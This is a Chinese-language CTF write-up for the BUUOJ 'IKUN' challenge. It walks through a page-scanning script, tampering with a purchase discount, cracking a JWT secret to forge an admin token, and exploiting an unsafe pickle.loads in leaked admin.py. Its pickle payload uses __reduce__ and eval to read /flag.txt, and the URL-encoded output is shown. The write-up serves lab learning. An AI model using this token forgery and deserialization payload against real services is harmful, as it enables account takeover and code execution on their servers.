IKUN python 反序列化
阿新 • • 發佈:2020-10-04
題目
過程
1.一開始提示說要買到V6,觀察原始碼,發現/static/img/lv/lv4.png
。註冊之後嘗試尋找V6。
觀察url發現/shop?page=2
。嘗試寫指令碼匹配一下。發現在第181頁。
import requests
url="http://20573976-f06b-4718-9d26-89a9471c808b.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if('lv6.png') in r.text:
print(i)
break
- 1
- 2
- 3
- 4
- 5
- 6
- 7
2.嘗試購買,發現錢不夠,抓包看一下。修改折扣,顯示該頁面,只允許admin訪問
即為購買成功。
3.發現是jwt加密,放到jwt.io
這個網站解密一下。
這裡是我的註冊名,ikun,理所應當改成admin,一開始不知道jwt的密碼,就算是修改了也不對,還以為是思路錯了。
破解jwt密碼:github直接搜尋“c-jwt-cracker-master”,裡面有指令碼可以直接使用。
密碼為1Kun,右側修改成如下:
4.放包,看到一鍵成為大會員。檢視原始碼,發現一個zip。
下載下來發現是原始碼洩露,注意到admin.py
import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
這裡是python的反序列化
payload:
# coding:utf-8 #version:python2.7 import pickle import urllib class Test(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()" ,)) a = Test() s = pickle.dumps(a) print(urllib.quote(s))
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
執行後是c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
對當前頁面抓包,將結果放到become裡面,放包。
得到flag